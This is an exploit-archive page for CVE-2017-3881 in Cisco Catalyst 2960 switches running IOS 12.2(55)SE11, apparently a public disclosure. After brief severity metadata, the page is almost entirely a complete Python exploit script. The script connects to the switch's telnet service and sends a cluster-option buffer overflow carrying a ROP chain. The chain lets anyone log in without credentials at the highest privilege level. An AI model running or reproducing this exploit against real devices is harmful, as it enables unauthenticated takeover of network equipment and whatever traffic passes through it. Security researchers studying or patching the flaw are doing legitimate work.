Cisco Catalyst 2960 IOS 12.2(55)SE11 Remote Code Execution

Published
Credit
Risk
2017.04.13
artkond
High
CWE
CVE
Local
Remote
N/A
CVE-2017-3881
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

#!/usr/bin/python
# Exploit Title: Cisco Catalyst 2960 - Buffer Overflow
# Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
# Date: 04.10.2017
# Exploit Author: https://twitter.com/artkond
# Vendor Homepage: https://www.cisco.com/
# Version: IOS version c2960-lanbasek9-mz.122-55.SE11)
# Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11
# CVE : CVE-2017-3881
# Description:
#
# The exploit connects to the Catalyst switch and patches
# it execution flow to allow credless telnet interaction
# with highest privilege level
#


import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()
elif sys.argv[2] == '--unset':
set_credless = False
elif sys.argv[2] == '--set':
pass
else:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
print '[+] Sending cluster option'
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1
else:
payload += '\x00\x04\xeA\xe0' # unset
payload += 'BBBB' # +16(+0) r1 points here at second gadget
payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC' # +8
payload += 'DDDD' # +12
payload += 'EEEE' # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8
payload += 'FFFF' # +12
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
else:
payload += '\x00\x04\xe7\x78' # unset
payload += 'HHHH' # +12
payload += 'IIII' # +16(+0) r1 points here at fifth gadget
payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ' # +8 r1 points here at third gadget
payload += 'KKKK' # +12
payload += 'LLLL' # +16
payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr
payload += ':15:' + '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close()


See this note in RAW Version

 
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